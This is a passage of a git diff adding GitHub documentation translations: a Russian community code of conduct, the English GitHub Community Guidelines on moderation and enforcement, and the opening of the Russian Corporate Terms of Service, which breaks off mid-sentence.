+topics: + - Policy + - Legal +ms.openlocfilehash: 72b487e302242e4809cd267dc10e7041e7e21d8d +ms.sourcegitcommit: d298d354a4585e6c154f2a8428aebb214d49e2a1 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/07/2022 +ms.locfileid: '147858671' +--- +## Обзор и цель + +Миллионы разработчиков по всему миру размещают миллионы проектов с открытым и закрытым исходным кодом на GitHub. Нам повезло, что мы можем каждый день участвовать в обеспечении совместной работы в сообществе разработчиков, и это ответственность, которую мы воспринимаем серьезно. Вместе у всех нас есть замечательная возможность сделать его сообществом, которым мы можем гордиться. + +Сообщество GitHub на платформе GitHub Discussions предназначено для сотрудничества, поддержки и проведения мозговых штурмов. Это цивилизованное место для общения с другими пользователями, изучения новых навыков, обмена отзывами и идеями, а также для получения всей необходимой поддержки для ваших проектов на GitHub. Присоединяясь к сообществу GitHub, вы соглашаетесь с [Условиями предоставления услуг](/github/site-policy/github-terms-of-service/) и [Политикой допустимого использования GitHub](/github/site-policy/github-acceptable-use-policies), которые действуют на сайте GitHub.com, а также с этими Правилами поведения сообщества GitHub. + +Надеемся, что эти Правила поведения помогут вам понять, как обеспечить максимально эффективную совместную работу в сообществе GitHub, чего вы можете ожидать от модераторов и какие действия или контент могут привести к временной или постоянной блокировке участия в сообществе. Мы расследуем любые сообщения о злоупотреблениях и можем модерировать общедоступный контент в сообществе GitHub, который, по нашему мнению, нарушает либо Условия предоставления услуг GitHub, либо эти Правила поведения. + +Наша разнообразная пользовательская база предлагает различные точки зрения, идеи и опыт: от людей, которые создали свой первый проект «Hello World» на прошлой неделе, до самых известных разработчиков программного обеспечения в мире. Мы стремимся сделать GitHub средой, которая приветствует все различные мнения и точки зрения, которые может предложить наше сообщество, сохраняя при этом безопасное место для разработчиков, чтобы они могли выполнять свою работу наилучшим образом. + +## Обязательство + +С целью создания открытой и гостеприимной среды мы (как участники и сопровождающие) обязуемся не допускать в сообществе GitHub притеснений для всех, независимо от возраста, размера тела, наличия инвалидности, этнической принадлежности, гендерной идентичности и самовыражения, уровня опыта, гражданства, внешности, расы, религии или сексуальной идентичности и ориентации. + +## Стандарты + +Относитесь к сообществу GitHub с уважением. Мы являемся общим ресурсом — местом для обмена навыками, знаниями и интересами посредством постоянного общения. + +Изложенное ниже не является жесткими правилами, а просто помогает соблюдать здравый смысл в нашем сообществе. Используйте эти рекомендации, чтобы это место было чистым и хорошо освещенным для цивилизованных публичных дискуссий. + +### *Лучшие практики для поддержания сильного сообщества* + +Основная цель сообщества GitHub — совместная работа над программными проектами. Мы стремимся поддерживать сообщество, в котором пользователи могут свободно выражать свое мнение и оспаривать идеи друг друга, как технические, так и другие. В то же время важно, чтобы пользователи сохраняли уважение и давали другим возможность открыто вносить свой вклад. Чтобы создать как безопасную, так и продуктивную среду, мы призываем членов нашего сообщества ознакомиться с этими рекомендациями, чтобы информировать о том, как они взаимодействуют на нашей платформе. Ниже вы найдете несколько советов по успешному взаимодействию в качестве ценного члена сообщества GitHub. + +- Взаимодействуйте с вниманием и уважением. + + - **Будьте приветливы и открыты** - Новые пользователи присоединяются к нашему сообществу каждый день. Некоторые из них являются хорошо зарекомендовавшими себя разработчиками, а другие только начинают. Будьте открыты для других идей и уровней опыта. Оставьте место для мнений, отличных от вашего собственного, и приветствуйте новых сотрудников и тех, кто только начинает. + + - **Будьте учтивы** - Работа в среде сотрудничества означает, что могут возникнуть разногласия. Но не забывайте, что нужно критиковать идеи, а не людей. Делитесь вдумчивой, конструктивной критикой и будьте вежливы с теми, с кем общаетесь. Если вы не можете вести себя уважительно, подумайте о том, чтобы устраниться от участия в общении или воспользоваться некоторыми из наших инструментов модерации, чтобы разрядить напряженную ситуацию. + + - **Будьте чуткими** — GitHub — это глобальное сообщество людей с самым разным опытом и взглядами, многие из которых могут не совпадать с вашими. Постарайтесь поставить себя на место других и понять их чувства, прежде чем обращаться к ним. Делайте все возможное, чтобы помочь сделать GitHub сообществом, в котором другие чувствуют себя в безопасности, внося свой вклад, участвуя в обсуждениях и делясь разными идеями. + +- Вносите свой вклад позитивным и конструктивным образом. + - **Улучшайте обсуждение.** Помогите нам сделать это прекрасным местом для обсуждения, всегда работая над тем, чтобы улучшить обсуждение тем или иным образом, пусть и незначительно. Если вы не уверены, что ваш пост будет полезен для обсуждения, подумайте, что вы хотите сказать, и повторите попытку позже. + + Темы, обсуждаемые здесь, важны для нас, и мы хотим, чтобы вы вели себя так, будто они важны и для вас. Уважительно относитесь к темам и людям, их обсуждающим, даже если вы не согласны с чем-то из сказанного. + - **Выражайтесь ясно и не отходите от темы.** Сообщество GitHub предназначено для совместной работы, обмена идеями и взаимопомощи в достижении цели. Комментарии не по теме отвлекают (иногда приветствуются, но обычно нет) от выполнения работы и продуктивности. Соблюдение темы помогает вести позитивные и продуктивные обсуждения. + + Это относится и к обмену ссылками. Любые ссылки, размещенные в обсуждениях сообщества GitHub, должны приводиться с целью предоставления актуальной и надлежащей информации. Ссылки не должны размещаться просто для привлечения трафика или для привлечения внимания к сайту. Ссылки всегда должны сопровождаться полным объяснением содержания и цели ссылки. Размещение ссылок, особенно нежелательных, без релевантного и ценного контекста может быть воспринято как реклама или как нечто, что служит еще более злонамеренным целям. + + - **Делитесь осознанно.** Когда вы просите других дать вам отзыв или сотрудничать в проекте, делитесь только ценными и актуальными ресурсами, чтобы обеспечить контекст. Не публикуйте ссылки, которые не являются полезными для обсуждения. Не размещайте нежелательные ссылки на свои собственные проекты или сайты в обсуждениях других пользователей. + + Кроме того, не делитесь конфиденциальной информацией. Это включает в себя ваш собственный адрес электронной почты. Мы не разрешаем делиться такой информацией в сообществе GitHub, так как это может создать угрозу безопасности и конфиденциальности автора, а также других пользователей. Если вы хотите пригласить других пользователей GitHub для совместной работы над проектом или работы с вами, поделитесь ссылкой на репозиторий, где находится проект, над которым вы работаете. Поделившись ссылкой на репозиторий вашего проекта — с некоторой информацией о том, что представляет собой ваш проект и какую помощь или отзывы вы ищете — вы можете пригласить других сотрудничать с вами с помощью вопросов или запросов на включение изменений без необходимости делиться своей личной информацией. Вы также можете добавить других в качестве внешних соавторов в репозиторий вашего проекта, чтобы предоставить им специальные разрешения, которые помогут вам в разработке вашего проекта. + - **Держите его в порядке.** Приложите усилия, чтобы расставить все по местам, чтобы мы могли тратить больше времени на обсуждение и меньше времени на уборку. Поэтому: + - Не создавайте обсуждения в неподходящей категории. + - Не публикуйте одно и то же в разных обсуждениях. + - Не публикуйте ответы без содержания. + - Не «подталкивайте» сообщения, если у вас нет новой и актуальной информации, которой можно поделиться. + - Не отклоняйтесь от темы обсуждения, меняя ее на ходу. + + Не публикуйте сообщения «+1» или «Согласен». Вместо этого используйте кнопку «За». Не развивайте существующее обсуждение в совершенно другом направлении. Вместо этого откройте новое обсуждение. + +- Будьте заслуживающими доверия. + - **Всегда будьте честными.** Не сообщайте заведомо неверную информацию и намеренно не вводите в заблуждение других участников сообщества GitHub. Если вы не знаете ответа на чей-то вопрос, но все же хотите помочь, вы можете вместо этого помочь ему в исследованиях или поиске ресурсов. Сотрудники GitHub также будут активны в Сообществе GitHub, поэтому, если вы не уверены в ответе, скорее всего, модератор сможет помочь. + +### *Что не разрешено* + +[Политики допустимого использования](/site-policy/acceptable-use-policies/github-acceptable-use-policies) GitHub, которые являются частью [Условий обслуживания](/github/site-policy/github-terms-of-service/) GitHub, устанавливают базовый уровень того, что не разрешено на GitHub. Так как сообщество GitHub находится на сайте GitHub.com, эти условия и ограничения распространяются на сообщество GitHub, включая следующие ограничения: + +- **Любой, кто младше 13 лет.** Если вы ребенок младше 13 лет, у вас не может быть учетной записи на GitHub. GitHub сознательно не собирает информацию о детях младше 13 лет и не адресует какой-либо наш контент специально таким детям. Если мы узнаем или будем иметь основания подозревать, что вы являетесь пользователем младше 13 лет, нам, к сожалению, придется закрыть вашу учетную запись GitHub.com. Мы не хотим отговаривать вас от обучения программированию, но таковы правила. Пожалуйста, смотрите наши [Условия обслуживания](/github/site-policy/github-terms-of-service/) для получения информации о закрытии учетной записи. + +- **Создание новой учетной записи после ограничения учетной записи.** [Условия обслуживания](/github/site-policy/github-terms-of-service/) GitHub гласят, что «Одно физическое или юридическое лицо может иметь не более одной бесплатной Учетной записи». Дополнительные бесплатные учетные записи, созданные для получения информации о помеченных или приостановленных учетных записях GitHub, будут удаляться. + +- **Другое поведение, которое можно обоснованно считать неуместным в профессиональной среде.** Сообщество GitHub — это пространство для профессиональной деятельности, и к нему следует относиться соответственно. + +- **Нарушение Условий обслуживания.** Если в вашей учетной записи GitHub.com обнаружено нарушение [Условий предоставления услуг](/github/site-policy/github-terms-of-service/), нам придется закрыть ее. + +## Обеспечение исполнения + +### *Что могут делать участники сообщества GitHub* + +- **Если вы видите проблему, сообщите об этом.** Модераторы обладают особыми полномочиями. Они несут ответственность за это сообщество GitHub. Но вы тоже. С вашей помощью модераторы могут координировать сообщество, а не просто выполнять функции уборщиков или полицейских. + + Когда вы видите плохое поведение, не отвечайте. Это поощряет плохое поведение, так как вы признаете его, потребляет вашу энергию и тратит время каждого. Вы можете сообщить о деструктивном поведении пользователя или деструктивном контенте в GitHub. Дополнительные сведения см. в статье [Отчеты о нарушении или спаме](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam). + +### Наши обязательства + +Существует множество действий, которые мы можем предпринять в ответ на ненадлежащее поведение или контент. Обычно это зависит от конкретных обстоятельств конкретного случая. Мы понимаем, что иногда люди могут говорить или делать неуместные вещи по целому ряду причин. Возможно, они не осознавали, как будут восприняты их слова. Или, может быть, они просто позволили своим эмоциям взять верх над собой. Конечно, иногда есть люди, которые просто хотят спамить или создавать проблемы. + +Каждый случай требует особого подхода, и мы стараемся адаптировать наш ответ к ситуации. Мы рассмотрим каждую ситуацию в индивидуальном порядке. В каждом случае у нас будет разноплановая команда, которая расследует содержание и сопутствующие факты и примет соответствующие меры, руководствуясь настоящим Кодексом поведения для принятия решения. + +Действия, которые мы можем предпринять в ответ на пометку или сообщение о нарушении, включают помимо прочего: + - Удаление контента + - Блокировка контента + - Приостановка действия учетной записи GitHub + - Прекращение действия учетной записи GitHub + +Модераторы сообщества GitHub, которые не соблюдают Правила поведения или не требуют их соблюдения добросовестно, могут столкнуться с временными или постоянными последствиями, определяемыми другими лидерами сообщества GitHub. + +## Обращение к персоналу GitHub + +Если вам по какой-либо причине нужно связаться с сотрудниками GitHub, менеджерами сообщества, администраторами или модераторами сообщества GitHub в частном порядке, вы можете использовать нашу[Контактную форму службы поддержки](https://support.github.com/contact?tags=docs-community-support). Настоятельно не рекомендуется связываться с любым сотрудником GitHub с помощью нежелательных упоминаний или проверок связи, а также по каналам, отличным от самого сообщества GitHub или Контактной формы службы поддержки. Это может рассматриваться как нарушение нашего запрета на притеснения. + +Давайте работать вместе, уважая других участников и их время, чтобы сообщество GitHub оставалось местом, где люди чувствуют себя в безопасности. + +## Юридические уведомления + +Да, юридический язык скучен, но мы должны защитить себя — и, соответственно, вас и ваши данные — от недружелюбных людей. У нас есть [Условия обслуживания](/github/site-policy/github-terms-of-service/), в том числе наши [Политики допустимого использования](/github/site-policy/github-acceptable-use-policies), и наше [Заявление о конфиденциальности](/github/site-policy/github-privacy-statement/), где описываются ваше (и наше) поведение и права, связанные с контентом, конфиденциальностью и законами. Чтобы использовать этот сервис, вы должны согласиться соблюдать наши [Условия обслуживания](/github/site-policy/github-terms-of-service/), [Политики допустимого использования GitHub](/github/site-policy/github-acceptable-use-policies) и [Заявление о конфиденциальности](/github/site-policy/github-privacy-statement/). + +Настоящий Кодекс поведения не изменяет наши [Условия обслуживания](/github/site-policy/github-terms-of-service/) — в том числе наши [Политики допустимого использования](/github/site-policy/github-acceptable-use-policies) — и не претендует на полноту. GitHub сохраняет за собой полную свободу действий в соответствии с [Условиями обслуживания](/github/site-policy/github-terms-of-service/) удалять или ограничивать любой контент или учетные записи за действия, которые нарушают эти политики, в том числе потому, что они являются незаконными, оскорбительными, угрожающими, клеветническими, дискредитирующими, порнографическими, непристойными или иным образом нежелательными, или нарушают интеллектуальную собственность любого лица или наши Условия обслуживания. В настоящем Кодексе поведения описывается, когда мы будем действовать по своему усмотрению. + +### Хранение и удаление данных + +Если вы являетесь пользователем GitHub, вы можете открыть, обновить, изменить или удалить свою основную информацию профиля пользователя. Для этого [отредактируйте свой профиль пользователя](https://github.com/settings/profile) или обратитесь в [службу поддержки GitHub](https://support.github.com/contact). Мы будем хранить и использовать вашу информацию по мере необходимости для выполнения наших юридических обязательств, разрешения споров и обеспечения соблюдения наших соглашений, но при отсутствии юридических требований удалим ваш полный профиль (в разумных пределах) в течение 90 дней с момента вашего запроса. Дополнительные сведения см. в [заявлении о конфиденциальности GitHub](/github/site-policy/github-privacy-statement). diff --git a/translations/ru-RU/content/site-policy/github-terms/github-community-guidelines.md b/translations/ru-RU/content/site-policy/github-terms/github-community-guidelines.md new file mode 100644 index 000000000000..763291de9707 --- /dev/null +++ b/translations/ru-RU/content/site-policy/github-terms/github-community-guidelines.md @@ -0,0 +1,80 @@ +--- +title: GitHub Community Guidelines +redirect_from: + - /community-guidelines + - /articles/github-community-guidelines + - /github/site-policy/github-community-guidelines + - /github/site-policy/acceptable-use-policies/github-community-guidelines +versions: + fpt: '*' +topics: + - Policy + - Legal +--- + +Millions of developers across the world host millions of projects—both open and closed source—on GitHub. We're fortunate to be able to play a part in enabling collaboration across the developer community every day, which is a responsibility we don’t take lightly. Together, we all have the exciting opportunity to make this a community we can be proud of. + +Our diverse user base brings different perspectives, ideas, and experiences, and ranges from people who created their first "Hello World" project last week to the most well-known software developers in the world. We are committed to making GitHub an environment that welcomes all the different voices and perspectives our community has to offer, while maintaining a safe place for developers to do their best work. + +By outlining what we think a [safe, welcoming, and productive community](https://opensource.guide/building-community/) looks like at GitHub, we hope to help you understand how best to interact and collaborate on our platform in line with our [Terms of Service](/github/site-policy/github-terms-of-service) and [Acceptable Use Policies](/github/site-policy/github-acceptable-use-policies). + +We encourage our community members to communicate expectations clearly, [moderate](#what-if-something-or-someone-offends-you) their projects where possible, and [report](https://github.com/contact/report-abuse) any content that may violate our [policies](/github/site-policy/github-terms-of-service). GitHub Staff will investigate any reports of abuse, and may moderate public content on our site that we determine to be in violation of our Terms of Service. + + +## Maintaining a strong community + +The primary purpose of the GitHub community is to collaborate on software projects. We are committed to maintaining a community where users are free to express themselves and challenge one another's ideas, both technical and otherwise. At the same time, it's important that users remain respectful and allow space for others to contribute openly. In order to foster both a safe and productive environment, we encourage our community members to look to these guidelines to inform how they interact on our platform. Below, you’ll find some suggestions for how to have successful interactions as a valued member of the GitHub community. + +* **Be welcoming and open-minded** - New users join our community each day. Some are well-established developers, while others are just beginning. Be open to other ideas and experience levels. Make room for opinions other than your own and be welcoming to new collaborators and those just getting started. + +* **Be respectful** - Working in a collaborative environment means disagreements may happen. But remember to criticize ideas, not people. Share thoughtful, constructive criticism and be courteous to those you interact with. If you’re unable to engage respectfully, consider taking a step back or using some of our moderation tools to deescalate a tense situation. + +* **Be empathetic** - GitHub is a global community with people from a wide variety of backgrounds and perspectives, many of which may not be your own. Try to put yourself in others’ shoes and understand their feelings before you address them. Do your best to help make GitHub a community where others feel safe to make contributions, participate in discussions, and share different ideas. + + +## What if something or someone offends you? + +While some disagreements can be resolved with direct, respectful communication between community members, we understand that is not always the case. We encourage our community to [let us know](https://support.github.com/contact/report-abuse?category=report-abuse&report=other&report_type=unspecified) when they believe content or activity they’ve encountered violates our policies. However, if you run into something or someone on the site that you find objectionable, here are some ways GitHub enables you to take action: + +* **Communicate expectations** - Maintainers can set community-specific guidelines to help users understand how to interact with their projects, for example, in a repository’s README, [CONTRIBUTING file](/articles/setting-guidelines-for-repository-contributors/), or [dedicated code of conduct](/articles/adding-a-code-of-conduct-to-your-project/). You can find additional information on building communities [here](/communities). + + +* **Moderate Comments** - Users with [write-access privileges](/articles/repository-permission-levels-for-an-organization/) for a repository can [edit, delete, or hide anyone's comments](/communities/moderating-comments-and-conversations/managing-disruptive-comments) on commits, pull requests, and issues. Anyone with read access to a repository can view a comment's edit history. Comment authors and people with write access to a repository can also delete sensitive information from a [comment's edit history](/communities/moderating-comments-and-conversations/tracking-changes-in-a-comment). Moderating your projects can feel like a big task if there is a lot of activity, but you can [add collaborators](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/permission-levels-for-a-personal-account-repository#collaborator-access-for-a-repository-owned-by-a-personal-account) to assist you in managing your community. + +* **Lock Conversations**  - If a discussion in an issue, pull request, or commit gets out of hand, off topic, or violates your project’s code of conduct or GitHub’s policies, owners, collaborators, and anyone else with write access can put a temporary or permanent [lock](/articles/locking-conversations/) on the conversation. + +* **Block Users**  - If you encounter a specific user who you would rather not engage with, you can [block the user from your personal account](/articles/blocking-a-user-from-your-personal-account/) or [from your organization](/articles/blocking-a-user-from-your-organization/). + +* **Limit Interactions** - If your public project is getting unwanted attention, being trolled, spammed, or otherwise, you have the option of setting [temporary interaction limits](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository) to keep certain users from interacting with your repository. You can even set [code review limits](https://github.blog/2021-11-01-github-keeps-getting-better-for-open-source-maintainers/#preventing-drive-by-pull-request-approvals-and-requested-changes) to ensure quality contributions on your projects. + + +While we are passionate about empowering maintainers to moderate their own projects, please reach out to us to {% data variables.contact.report_abuse %} if you need additional support in dealing with a situation. + +## What happens if someone violates GitHub's policies? + +We rely on reports from the community, as well as proactive detection, to help ensure that GitHub is a safe, welcoming, and productive platform for software developers. There are a variety of factors we consider when we’re made aware of behavior or content not in line with GitHub’s policies. However, our policy enforcement and content moderation approach prioritizes our vision to be the home for all developers. This means: + +- We optimize for code collaboration. We recognize that code can have multiple uses and we distinguish between how the code is being used on the platform and other possible uses. We also think about how our enforcement actions can affect a potentially complicated web of interdependencies across the platform and aim to restrict as little legitimate content as possible. + +- We take a human-centered approach to content moderation and we tailor our responses to meet the needs of a specific situation. Our global team investigates the reports we receive on a case-by-case basis—considering context and the surrounding facts—before taking action. This could include taking into account potentially offensive content being posted in a way that lacks context or makes it easy for other users to unwittingly view or interact with while using GitHub. In those instances, we may favor moderation in order to safeguard our community. + +- Our decisions are rooted in our core belief that serving an interconnected community and empowering human progress through developer collaboration requires a commitment to diversity, inclusion, and belonging. + +Where we have decided that moderation action is warranted, these are some of the ways we may respond: + +* Removing the offending content +* Blocking or disabling the offending content +* Downgrading the visibility of the offending content +* Hiding a user account or organization from public view +* Suspending a user account or organization + + +## Appeal and Reinstatement + +If your content or account has been disabled or restricted and you seek reinstatement or wish to appeal, please see our [Appeal and Reinstatement page](/site-policy/acceptable-use-policies/github-appeal-and-reinstatement) for information about the process and use our [Appeal and Reinstatement form](https://support.github.com/contact/reinstatement) to submit a request. + +## Legal Notices + +We dedicate these Community Guidelines to the public domain for anyone to use, reuse, adapt, or whatever, under the terms of [CC0-1.0](https://creativecommons.org/publicdomain/zero/1.0/). + +These are only guidelines; they do not modify our [Terms of Service](/articles/github-terms-of-service/) and are not intended to be a complete list. Under those terms, GitHub retains full discretion to remove any content or terminate any accounts for activity that violates our [Acceptable Use Policies](/articles/github-acceptable-use-policies). These guidelines describe when we will exercise that discretion. diff --git a/translations/ru-RU/content/site-policy/github-terms/github-corporate-terms-of-service.md b/translations/ru-RU/content/site-policy/github-terms/github-corporate-terms-of-service.md new file mode 100644 index 000000000000..a4d581a5a15e --- /dev/null +++ b/translations/ru-RU/content/site-policy/github-terms/github-corporate-terms-of-service.md @@ -0,0 +1,324 @@ +--- +title: Корпоративные условия обслуживания GitHub +redirect_from: + - /articles/github-corporate-terms-of-service + - /github/site-policy/github-corporate-terms-of-service +versions: + fpt: '*' +topics: + - Policy + - Legal +ms.openlocfilehash: 083bccdf0b4baf040d27bf4078c391001b60f206 +ms.sourcegitcommit: d298d354a4585e6c154f2a8428aebb214d49e2a1 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/07/2022 +ms.locfileid: '147858653' +--- +_Эти условия распространяются на клиентов GitHub.com, заключивших соглашения, в которых содержится ссылка на Корпоративные условия предоставления услуг. Все остальные клиенты, работающие в коммерческих организациях или учреждениях, могут ознакомиться с текущими условиями на сайте [github.com/customer-terms](https://github.com/customer-terms)._ + +## Корпоративные условия обслуживания GitHub +Версия и Дата вступления в силу: 16 ноября 2020 г. + +Настоящее Соглашение применяется к следующим предложениям GitHub, как определено ниже (в совокупности **«Продукты»**): +- Служба; +- Любые предварительные бета-версии; +- Любая соответствующая Поддержка; и +- Любые сопутствующие Профессиональные услуги. + +## А. Определения + +**«Аффилированное лицо»** означает любое юридическое лицо, которое прямо или косвенно контролирует сторону, контролируется стороной или находится под общим контролем со стороной, где «контроль» означает наличие более пятидесяти процентов (50 %) владения или права на управление юридическим лицом. + +**«Соглашение»** означает в совокупности все положения, условия, уведомления, содержащиеся или упомянутые в этом документе, а также все другие операционные правила, политики и процедуры, которые GitHub может время от времени публиковать на Сервисе. Политики сайта GitHub доступны по адресу [https://docs.github.com/categories/site-policy](/categories/site-policy). + +**«Все пользователи»** означает совместно Пользователей клиента и Внешних пользователей, которые используют Сервис. + +**«Америка»** означает Соединенные Штаты, Канаду, Мексику или страну в Центральной или Южной Америке или Карибском бассейне. + +**«Предварительные бета-версии»** означают программное обеспечение, услуги или функции, обозначенные как альфа-, бета-версия, предварительная версия, ранний доступ или ознакомительная версия, а также слова или фразы с аналогичным значением. + +**«Конфиденциальная информация»** означает всю непубличную информацию, раскрываемую любой Стороной другим сторонам в письменной, устной или иной форме, обозначенной как конфиденциальная, или в отношении которой принимающая Сторона знает или разумно должна знать, при обстоятельствах, связанных с раскрытием, и характере информации, что она конфиденциальной для раскрывающей Стороны. Во избежание сомнений, никакой Контент, размещенный в Сервисе, не будет считаться Конфиденциальной информацией, за исключением Контента клиента, хранящегося исключительно в Частных репозиториях клиента. Конфиденциальная информация не включает в себя любую информацию, которая (i) была или стала общедоступной не по вине принимающей стороны; (ii) была по праву известна или становится по праву известна получающей Стороне без конфиденциальных или имущественных ограничений из источника, отличного от раскрывающей стороны, которая имеет право раскрывать ее; (iii) одобрена раскрывающей Стороной для раскрытия без ограничений в письменном документе, подписанном должным образом уполномоченным должностным лицом такой раскрывающей Стороны; (iv) получающая Сторона самостоятельно разрабатывает без доступа к Конфиденциальной информации другой Стороны или ее использования; или (v) хранится или размещалась в Сервисе и за пределами Частных репозиториев клиента. + +**«Контент»** означает, помимо прочего, код, текст, данные, статьи, изображения, пакеты, фотографии, графику, программное обеспечение, приложения, проекты, функции и другие материалы, которые представлены, отображаются или иным образом доступны через Сервис. + +**«Корпоративная учетная запись»** означает учетную запись, созданную Пользователем от имени юридического лица. + +**«Клиент»** означает компанию или организацию, которая заключила настоящее Соглашение с GitHub, нажав кнопку «Я СОГЛАСЕН» или аналогичную кнопку или получив доступ к Продуктам. + +**«Клиентский контент»** означает Контент, который Клиент создает, которым Клиент владеет или права на который принадлежат Клиенту. + +**«Документация»** означает любые руководства, документацию и другие вспомогательные материалы, относящиеся к Продуктам, которые GitHub предоставляет или делает доступными для Клиента. + +**«Дата вступления в силу»** является более ранней из дат, когда Клиент (i) нажимает «Я согласен» с условиями настоящего Соглашения или (ii) впервые размещает заказ на Продукты. + +**«Внешний пользователь»** означает физическое лицо, не включая Пользователей клиента, которые посещают или используют Сервис. + +**«Обратная связь»** означает любые идеи, ноу-хау, алгоритмы, дополнения к коду, предложения, запросы на улучшение, рекомендации или любые другие отзывы о продуктах или услугах GitHub. + +**«Сборы»** означает сборы, которые Клиент должен заплатить GitHub за (i) использование Продуктов в течение применимого Срока действия или (ii) получение Профессиональных услуг, поскольку такие сборы отражаются в Форме заказа или ТЗ. + +**«Вилка»** означает копирование Контента одного репозитория в другой репозиторий. + +**«GitHub»** означает GitHub, Inc., ее Аффилированных лиц и ее Представителей. + +**«Контент GitHub»** означает Контент, который GitHub создает, которым GitHub владеет или права на который принадлежат GitHub. + +**«Учетная запись компьютера»** означает учетную запись, зарегистрированную отдельным человеком, который принимает применимые условия обслуживания от имени Учетной записи компьютера, предоставляет действительный адрес электронной почты и несет ответственность за действия, выполняемые с использованием этой учетной записи. Учетная запись компьютера используется исключительно для выполнения автоматизированных задач. Несколько пользователей могут управлять действиями Учетной записи компьютера, но владелец учетной записи несет полную ответственность за действия компьютера. + +**«Форма заказа»** означает письменную или электронную документацию (включая расценки), которую Стороны могут использовать для заказа Продуктов. + +**«Организация»** означает общее рабочее пространство, которое может быть связано с одним юридическим лицом или с одним или несколькими Пользователями, где несколько Пользователей могут совместно работать над многими проектами одновременно. Пользователь может быть членом более чем одной Организации. + +**«Частный репозиторий»** означает репозиторий, который позволяет Пользователю контролировать доступ к Контенту. + +**«Профессиональные услуги»** означают услуги по обучению, консультированию или внедрению, которые GitHub предоставляет Клиенту в соответствии с взаимно исполняемым ТЗ. Профессиональные услуги не включают Поддержку. + +**«Кредиты на профессиональные услуги»** означают метод предоплаты для приобретения Профессиональных услуг (за исключением расходов на проезд и проживание), который Заказчик может использовать в течение двенадцати (12) месяцев (если иное не указано в Форме заказа) для Профессиональных услуг. Любые кредиты на профессиональные услуги, которые остаются неиспользованными по истечении двенадцати (12) месяцев с даты покупки (или в соответствии с иным указанием в Форме заказа), автоматически аннулируются и не подлежат возврату. + +**«Общедоступный репозиторий»** означает репозиторий, Контент которого виден Всем пользователям. + +**«Представители»** означают сотрудников, должностных лиц, агентов, независимых подрядчиков, консультантов, юридических и финансовых консультантов Стороны. + +**«Скрейпинг»** означает извлечение данных из Сервиса с помощью автоматизированного процесса, такого как бот или веб-краулер, и не включает сбор информации через API GitHub. + +**«Сервис»** означает размещенную службу GitHub и любую применимую Документацию. + +**«ТЗ»** означает взаимно оформленное техническое задание с подробным описанием Профессиональных услуг, которые GitHub будет выполнять, любых связанных сборов и соответствующих обязательств каждой стороны. + +**«Лицензия на подписку»** означает лицензию, назначенную каждому Пользователю для установки, эксплуатации, доступа и использования Сервиса от имени Клиента. Клиент может назначить только одну Лицензию на подписку для каждого Пользователя в своих Организациях. Для ясности: после того как Клиент передает Лицензию на подписку Пользователю, Клиенту запрещается разделять Лицензию на подписку так, чтобы один Пользователь мог использовать Лицензию на подписку в одной Организации, а другой Пользователь использовал ту же Лицензию на подписку в другой Организации. + +**«Поддержка»** означает техническую поддержку Сервиса, которую может предоставлять GitHub. + +**«Пользователь»** означает физическое лицо или Учетную запись компьютера, которые (а) получают доступ к Сервису или используют его, (б) получают доступ к любой части учетной записи Клиента или используют ее; или (c) руководят использованием учетной записи Клиента для выполнения функций, в каждом случае от имени Клиента. Количество Пользователей не должно превышать количество Лицензий на подписку, которые приобрел Клиент. + +**«Контент, создаваемый пользователями»** означает Контент, созданный или принадлежащий третьему лицу или Внешнему пользователю. + +## B. Условия учетной записи + +### 1. Контроль учетных записей. + * _Пользователи._ Клиент признает, что Пользователи сохраняют за собой окончательный административный контроль над своими индивидуальными учетными записями и Контентом в них. [Стандартные условия обслуживания GitHub](/articles/github-terms-of-service) регулируют использование Пользователями Сервиса, за исключением действий Пользователей в соответствии с настоящим Разделом B. + + * _Организации._ Клиент сохраняет за собой окончательный административный контроль над любой Организацией, созданной от имени Клиента, и Пользовательским контентом, размещенным в репозиториях его Организации, в соответствии с положениями Раздела B. Этот Раздел B регулирует использование Организаций клиента. + +### 2. Требования к учетной записи +Для создания учетной записи Клиент должен соблюдать следующее: + +* Клиент не должен создавать учетную запись для использования любым лицом младше 13 лет. Если GitHub узнает о каком-либо Пользователе младше 13 лет, он немедленно удалит учетную запись этого Пользователя. Если Клиент или его Пользователи находятся за пределами США, минимальный возраст в этой стране может быть выше; в таком случае Клиент несет ответственность за соблюдение законов этой страны. + +* Логин пользователя не может использоваться несколькими людьми. + +- Клиент не должен использовать Продукты (а) в нарушение законов об экспортном контроле или санкциях США или любой другой применимой юрисдикции; (b) если он находится или обычно проживает в стране или на территории, на которую распространяются всесторонние или всеобъемлющие санкции, применяемые Управлением по контролю за иностранными активами США (OFAC); или (c) если он является [Гражданином особой категории (SDN)](https://www.treasury.gov/resource-center/sanctions/SDN-List/Pages/default.aspx) или лицом, подвергающимся аналогичной блокировке или запретам для исключенных лиц, или работает от имени такого гражданина или лица. Для получения дополнительной информации, пожалуйста, смотрите нашу [Политику экспортного контроля](/articles/github-and-export-controls). + +### 3. Безопасность учетной записи +Клиент несет ответственность за следующее: (i) весь Контент, размещенный под его Корпоративной учетной записью, и действия, которые происходят под его Корпоративной учетной записью; (ii) обеспечение безопасности своих учетных данных для входа в учетную запись; и (iii) [оперативное уведомление GitHub](https://github.com/contact) после того, как станет известно о любом несанкционированном использовании Сервиса или доступе к нему через его учетную запись. GitHub не несет ответственности за какие-либо убытки или ущерб в результате несоблюдения Клиентом настоящего Раздела B. + +### 4. Условия третьих лиц +В некоторых случаях к использованию Клиентом GitHub могут применяться условия третьих лиц. Например, Клиент может быть членом Организации со своими условиями или лицензионными соглашениями; Клиент может загрузить приложение, которое интегрируется с Сервисом; или Клиент может использовать Сервис для аутентификации в другом сервисе. Хотя настоящее Соглашение является полным соглашением GitHub с Клиентом, условия других сторон регулируют их отношения с Клиентом. + +### 5. Условия Федерального правительства США +Если Клиент является государственным органом США или если Клиент иным образом получает доступ к Сервису или использует его в государственном качестве, применяется [Поправка Федерального правительства США](/articles/amendment-to-github-terms-of-service-applicable-to-us-federal-government-users), и Клиент соглашается с ее положениями. + +### 6. Соглашение об уровне корпоративного облачного обслуживания +Ежеквартальное обязательство GitHub по времени безотказной работы для GitHub Enterprise Cloud указано в [Соглашении об уровне корпоративного обслуживания](/github/site-policy/github-enterprise-service-level-agreement). Если Клиент подписался на GitHub Enterprise Cloud, то Клиент будет иметь право на льготное обслуживание, если GitHub не 